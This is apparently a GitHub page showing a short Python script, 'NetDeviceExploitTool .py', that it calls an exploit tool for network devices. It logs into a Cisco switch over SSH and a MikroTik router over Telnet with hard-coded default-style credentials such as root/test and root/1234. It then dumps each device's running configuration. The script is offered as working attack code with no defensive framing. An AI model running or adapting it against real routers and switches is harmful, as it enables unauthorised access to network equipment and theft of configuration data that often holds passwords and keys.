-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathNetDeviceExploitTool .py
More file actions
38 lines (33 loc) · 1.54 KB
/
Copy pathNetDeviceExploitTool .py
File metadata and controls
38 lines (33 loc) · 1.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import paramiko
import telnetlib
import time
def cisco_ssh_exploit(ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, username=username, password=password, timeout=5)
stdin, stdout, stderr = ssh.exec_command("show running-config")
print(f"Successfully connected to Cisco switch at {ip}")
print(stdout.read().decode()) # Proper decoding of output
ssh.close()
except Exception as e:
print(f"Failed to connect to {ip}: {str(e)}")
def mikrotik_telnet_exploit(ip, username, password):
try:
tn = telnetlib.Telnet(ip, timeout=5)
tn.read_until(b"Login: ") # Properly handling the Telnet prompt
tn.write(username.encode('ascii') + b"\n") # Send username
tn.read_until(b"Password: ") # Wait for password prompt
tn.write(password.encode('ascii') + b"\n") # Send password
time.sleep(1) # Allow time for the command to execute
tn.write(b"/export\n") # Example command for MikroTik
tn.write(b"exit\n") # Exit Telnet session
output = tn.read_all().decode('ascii') # Read all output
print(f"Successfully connected to MikroTik device at {ip}")
print(output)
tn.close()
except Exception as e:
print(f"Failed to connect to {ip}: {str(e)}")
# Calling the functions with proper input
cisco_ssh_exploit('10.10.0.1', 'root', 'test')
mikrotik_telnet_exploit('10.10.1.2', 'root', '1234') # Corrected IP and password to string